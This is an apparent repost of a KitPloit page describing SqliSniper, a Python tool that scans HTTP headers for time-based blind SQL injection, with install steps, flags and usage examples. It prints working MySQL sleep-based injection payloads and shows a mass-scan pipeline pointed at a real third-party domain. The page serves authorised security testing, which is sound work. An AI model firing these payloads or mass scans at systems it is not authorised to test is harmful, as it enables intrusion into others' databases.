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SqliSniper – Advanced Time-based Blind SQL Injection Fuzzer For HTTP Headers

SqliSniper is a robust Python tool designed to detect time-based blind SQL injections in HTTP request headers. It enhances the security assessment process by rapidly scanning and identifying potential vulnerabilities using multi-threaded, ensuring speed and efficiency. Unlike other scanners, SqliSniper is designed to eliminates false positives through and send alerts upon detection, with the built-in Discord notification functionality.

Key Features

  • Time-Based Blind SQL Injection Detection: Pinpoints potential SQL injection vulnerabilities in HTTP headers.
  • Multi-Threaded Scanning: Offers faster scanning capabilities through concurrent processing.
  • Discord Notifications: Sends alerts via Discord webhook for detected vulnerabilities.
  • False Positive Checks: Implements response time analysis to differentiate between true positives and false alarms.
  • Custom Payload and Headers Support: Allows users to define custom payloads and headers for targeted scanning.

Installation

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt

This will display help for the tool. Here are all the options it supports.

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-: By Muhammad Danial :-

usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PA YLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]

Detect SQL injection by sending malicious queries

options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads

Single Url Scan

The url can be provided with -u flag for single site scan

./sqlisniper.py -u http://example.com

File Input

The -r flag allows SqliSniper to read a file containing multiple URLs for simultaneous scanning.

./sqlisniper.py -r url.txt

piping URLs

The SqliSniper can also worked with the pipeline input with -p flag

cat url.txt | ./sqlisniper.py -p

The pipeline feature facilitates seamless integration with other tools. For instance, you can utilize tools like subfinder and httpx, and then pipe their output to SqliSniper for mass scanning.

subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p

Scanning with custom payloads

By default the SqliSniper use the payloads.txt file. However --payload flag can be used for providing custom payloads file.

./sqlisniper.py -u http://example.com --payload mssql_payloads.txt

While using the custom payloads file, ensure that you substitute the sleep time with %__TIME_OUT__%. SqliSniper dynamically adjusts the sleep time iteratively to mitigate potential false positives. The payloads file should look like this.

ubuntu:~/sqlisniper$ cat payloads.txt 
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z

Scanning with Single Payloads

If you want to only test with the single payload --single-payload flag can be used. Make sure to replace the sleep time with %__TIME_OUT__%

./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"

Scanning Custom Header

Headers are saved in the file headers.txt for scanning custom header save the custom HTTP Request Header in headers.txt file.

ubuntu:~/sqlisniper$ cat headers.txt 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1

Sending Discord Alert Notifications

SqliSniper also offers Discord alert notifications, enhancing its functionality by providing real-time alerts through Discord webhooks. This feature proves invaluable during large-scale scans, allowing prompt notifications upon detection.

./sqlisniper.py -r url.txt --discord <web_hookurl>

Multi-Threading

Threads can be defined with --threads flag

 ./sqlisniper.py -r url.txt --threads 10

Note: It is crucial to consider that employing a higher number of threads might lead to potential false positives or overlooking valid issues. Due to the nature of time-based SQL injection it is recommended to use lower thread for more accurate detection.

Source : KitPloit – PenTest Tools!

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